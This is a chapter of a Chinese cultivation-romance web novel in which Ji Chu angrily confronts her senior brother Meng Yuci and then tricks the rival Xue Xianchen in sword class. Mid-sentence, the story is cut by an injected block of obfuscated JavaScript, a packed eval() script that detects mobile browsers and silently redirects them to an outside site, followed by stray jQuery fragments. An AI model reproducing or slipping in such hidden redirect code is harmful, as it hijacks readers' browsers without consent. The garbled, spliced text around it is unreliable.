房门被人踹开的同时,记忆碎片被这阵风带动,凌乱地朝两旁漂浮散开。
满室寂静被打破,温暖气息随着那个跃进来的身影一同撞了进来,寒霜冰雪瞬间消弭无踪。
孟喻辞于无尽的空茫中缓缓抬眸,看向来人。
天青的宗门弟子服,裙摆随着她不算优雅的动作,如水波纹般层叠散开。
乌发盘成双髻,阳光在其上流转。
五官精巧,皮肤白皙,脸颊一点婴儿肥,可爱可亲。不施粉黛,容色却比二月枝头上的花苞还要娇艳动人。
满目猩红中央,乍然冒出这样一张灵动漂亮的容颜,像是在冰原孤崖上骤然长出的一株明艳灿烂的花,将这场没有尽头的绝望和杀戮悉数冲散。
只是这“花”显然很不高兴,似乎是来讨债的。
俏丽的脸颊气得通红,一双漂亮的眼睛瞪得溜圆,又黑又亮的瞳仁闪着光,愤愤定在他脸上。
“师兄!”
“我砸悬鹤峰结界那天,你是不是在场?”
孟喻辞目光微颤,视线从纪楚过分明亮锐利的双眸移向她耳边凌乱坠落的发丝,低声回道:
“是。”
他这回避视线的动作宛如心虚,纪楚怒意更甚:
“那你假扮神秘前辈助我修复经脉,还有这些日子的帮助和关心,也是为了偿还我替你破开结界的恩情?”
孟喻辞有些意外她知道了真相,但她所说亦是他的初衷,并没有什么好遮掩的,因而坦然回道:
“是。”
连续两个“是”字,听得纪楚捏紧了拳头。
她心里浮现出一股巨大的荒谬感,联想起前世师兄提及她经脉受损时的神情,只觉自己仿佛掉进了一片无边无际的深海。
她在其中茫然伸手,意外抓住了一根浮木,于是暗自欣喜,以为自己捡到了绝望之下的生机。
原来,竟是给她这种可怜虫的临终抚慰!
情绪上头,纪楚再也忍不住,双手因太过用力而颤抖,扬声质问他:
“你凭什么自做主张?你凭什么这么对我?!我砸结界被反噬,那也是我活该!我本也不是为了救你,用不着你勉为其难地对我好!”
孟喻辞有些怔愣。
这是头一次,有人敢冲她大喊大叫,厉声质问。
她分明是在骂他。
他却并未感到不快,只是一时间被她骂得有些懵了,不明白她为何忽然如此作想,更不知道她怎么会忽然这么生气。
他缓缓眨了下眼睛,纤长浓密的睫毛一压一掀,带着点细微的茫然和无措,一双黑沉的眸子静静望着纪楚的脸,似在端详。
于是两人间只剩下纪楚情绪激动时的呼吸声。
她望着师兄沉默的目光,永远平静的神色,心里那份愤怒逐渐成了难以言说的疲惫。
纪楚移开视线,呼吸平缓下来,感觉整个人都变得麻木僵硬,连胳膊都不知道摆在哪里该怎么摆,几乎是撑着最后一口气问道:
“那如果,如果师兄你出关的时候,发现我的经脉受损已无药可救,此生修行再难有进益,你会怎么对我?”
她的问题让孟喻辞神色一顿。
只是设想这种情况,便让他觉得心口像是压了巨石一样沉闷,再加上纪楚问出这句话时不自觉颤抖的声音,孟喻辞莫名生出一股巨大的恐慌和心痛来。
这情绪来的太过突然,仿佛是来自灵魂深处的惯性,让他一时间不敢直视纪楚脆弱的表情。
为什么?分明他及时出关,及时帮她修好了经脉,分明一切都如此顺利,他却总会生出一股“来不及了”的后怕和悔恨呢?
孟喻辞沉默片刻,用长久维持的平静竭力压下心底那份痛意,同时努力令自己的声音显得不是那么滞涩沉重,开口说出他的承诺:
“如果来不及,我定以师兄身份,护你一世周全。”
“……”
纪楚握紧的拳头一下子松开。
果然如此。
她在心里叹道。
前世师兄数次救她,屡屡维护,果然是为了弥补这份“来不及”。
而她傻得可怜,还以为自己撞了大运,虽然修行无果,却得了一个对她如此关切的师兄。
原来都是有代价的。
纪楚咬了咬嘴唇,克制着想哭的冲动,抬头看向师兄。
可是师兄,你非但没有护我一世周全,你还怀疑我入魔,一剑捅死了我。
她在心里说出这句话时,感觉自己的委屈快要将她活活淹死。
孟喻辞立于她面前,亲眼看到她的眼眶一点点变红,那双又黑又亮的眼睛逐渐雾气迷蒙。
下一瞬,泪水便如同花瓣上的露珠,骤然在她柔嫩的脸颊滑出一道湿痕。
“啪嗒”一声,砸在她身前的地上。
也像是砸在他心头,砸得他整个胸腔都为之一颤。
他茫然,不解,不知道自己的内心为什么会因为纪楚这滴泪水而生出波动。
而后听见纪楚用努力克制着哭腔的声音对他说:
“师兄,我讨厌你。”
*
纪楚照常回去练剑修行上课。
冲师兄发了一通火后,她心里虽然有几分担心“秋后算账”的忐忑,但更多的,还是一种对自己“傻的可笑”的厌恶。
师兄是高高在上的宗门首徒,掌门真人亲传弟子,整个修真界无人不晓的剑君。
她是什么?
她是个“靠脸走后门才得以修行”的“替身”。
师兄对她好,除了报答“破开结界”之恩,还能有什么呢?
真是好笑,这么显而易见的答案,她竟然活了一辈子都没能察觉。
真不知道是师兄瞒得好,还是她这样的傻子太好骗。
既然这次她的经脉已经修复好了,那她和师兄之间再无瓜葛,就该一拍两散形同陌路,她再也不会靠近师兄了!
纪楚愤愤想着,手中剑挥得冒出了火花。
来上剑法课的弟子都自觉离她远远的,薛羡尘却像是不长眼似的主动往她跟前凑:
“阿楚师妹?”
纪楚挥出一剑:
“滚。”
薛羡尘抬手用剑抵住她剑身,眼尾上挑斜睨她一眼,笑道:
“阿楚怎的还对我如此暴躁?你去问孟喻辞了吗?”
纪楚瞪她一眼,用力打开他的剑,背过身去。
薛羡尘顺势收了剑,绕至她身旁:
“看来是问过了。怎么样?我这次可没骗你,是他一直在算计你——”
纪楚转身出剑,剑尖带着冷光,正对着薛羡尘的眼睛,逼退了他走近自己的动作。
她一言不发,自剑后冷冷看着他,眼底威胁意味十足。
薛羡尘步子顿住,脸上丝毫不见惊慌,眼底的笑像是在温水中浸过一样,带着三分春意,声音柔柔:
“好好,我不说就是了。”
纪楚丝毫不搭理他的调笑,长剑仍对着他,眼底杀意凛然,不似作伪。
薛羡尘脸上轻松的表情逐渐凝重起来。
他是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16092410|178877||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
魔,天生能感知恶意。
纪楚此刻的眼神让他感受到了莫大的威胁,仿佛她随时会一剑捅过来。
虽然不知她为何对自己有如此强的杀意,薛羡尘却还是不得不暗中蓄力,浑身肌肉紧绷,随时准备应对纪楚的忽然发难。
纪楚手腕微动,长剑划出银光。
薛羡尘下意识出手——
纪楚却已收了剑,一脸好奇地望着他。
他挥出的拳头因而突兀地停留在半空,进也不是退也不是。
面前这娇嫩似鲜花的少女恍若未觉,一双格外灵巧漂亮的眼睛闪过狡黠的光,目光从他挥出的拳头移到他的脸上,讶然惊呼:
“你竟然打我!”
她这声喊得格外清晰,一时间,所有人的目光都转了过来,连徐长老也大步走来:
“发生何事?”
纪楚道:“徐长老!他比剑输了不服气,还说要打死我!”
徐长老不悦:“薛公子,胜负乃常事,若一时落败便耿耿于怀,实非剑道。”
薛羡尘:“……”
他放下手,看了纪楚一眼,正对上她笑的得意洋洋的眼睛。
亮晶晶的,像天上的星星,让人想要拿在手中日夜把玩。
让他当众丢人,就这么开心吗?
薛羡尘心里觉得奇怪。
分明被纪楚摆了一道,他却反而觉得她可爱。
见他一直盯着自己,纪楚扬起下巴瞪了他一眼,用口型做“活该”二字。
薛羡尘的目光一闪。
纪楚这张脸其实并没有那么像阿姐,尤其是她的眼睛,简直和阿姐天差地别。
一个圆而透亮,一个柔婉绰约。
想到阿姐,他便像是被人迎面泼了盆水,心里的种种念头瞬间消散。
薛羡尘收回视线,躬身冲徐长老行一礼道:
“弟子受教。”
这场小骚动并没有引起过多讨论,比起上次纪楚和薛羡尘打架后直接上了生死台,这次的摩擦几乎小得微不可查。
但徐长老仍有些顾虑。
他是十分欣赏纪楚这个弟子的。
修行是个长期坚持的事情,而剑道修行总归离不开一个“苦”字,纪楚分明有天分,却总是被杂事烦扰,心思不在正事上,这让徐长老这种惜才之人简直难受得要死。
他一难受,就想找孟喻辞说道说道。
找孟喻辞告状这事几乎已经成了徐长老每节课后的日常,他熟门熟路地拦下人,张口便是些老生常谈的话术:
“纪楚聪明但是不努力……”
“你是师兄……”
“你不急我都急啊……”
孟喻辞素来不是个好人缘的人,宗门里鲜少有人愿意同他闲聊,更遑论整日找他说些没营养的车轱辘话。
但徐长老回回下课都来,一个年纪不小的长辈,说的又全是纪楚的事,他不好阻拦,只能耐着性子听完。
总归是带孩子注定要面对的事,他答应掌门多多操心师妹的时候,早有了这般心理准备。
徐长老说的口干舌燥,见孟喻辞仍一脸漠然神色,顿时觉得自己成了“皇帝不急太监急”里头那个“太监”。
他于是自觉没趣,心道“自己孩子不操心,我一个外人急个屁”,转头抛下一句:
“你懒得管就算了,今日纪楚险些被打,下次受伤了可别来找我!”
“等等。”
一直“装聋作哑”的“失职家长”孟喻辞终于有了反应:
“谁打她?”